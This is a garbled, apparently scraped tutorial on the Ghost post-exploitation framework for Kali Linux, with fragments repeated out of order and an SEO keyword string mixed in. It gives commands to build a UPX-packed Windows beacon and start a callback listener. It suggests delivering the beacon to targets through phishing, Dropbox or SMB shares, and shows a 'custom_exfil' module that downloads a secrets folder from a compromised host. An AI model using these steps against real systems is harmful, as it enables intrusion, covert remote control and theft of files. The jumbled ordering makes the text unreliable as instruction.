sudo python3 setup.py install Alternatively, if you want to run from source without installation:
git clone https://github.com/EntySec/Ghost.git Navigate into the directory: ghost framework kali linux github
ghost > build windows/x64 beacon.exe --upx ghost > listen http 0.0.0.0 8080 3. Deploy the agent Get beacon.exe onto your target (phishing, dropbox, or SMB share). When executed, it calls back to your Kali box. 4. Interact with the session Once a session checks in, list active sessions: sudo python3 setup
Install globally (recommended for Kali): Create a payload (Windows example) ghost > build
The primary workflow is: build -> deploy -> listen -> interact . 1. Create a payload (Windows example) ghost > build windows/x64 my_beacon.exe This generates a position-independent executable. Use UPX if you want smaller size:
class GhostModule: def __init__(self): self.info = "Name": "custom_exfil", "Author": "you" def run(self, session, args): # Your post-ex logic here return session.download("C:\\secrets\\*")
cd Ghost Ghost requires Python 3.9+ and a handful of pip packages. The framework includes an installer script, but I prefer to inspect dependencies first.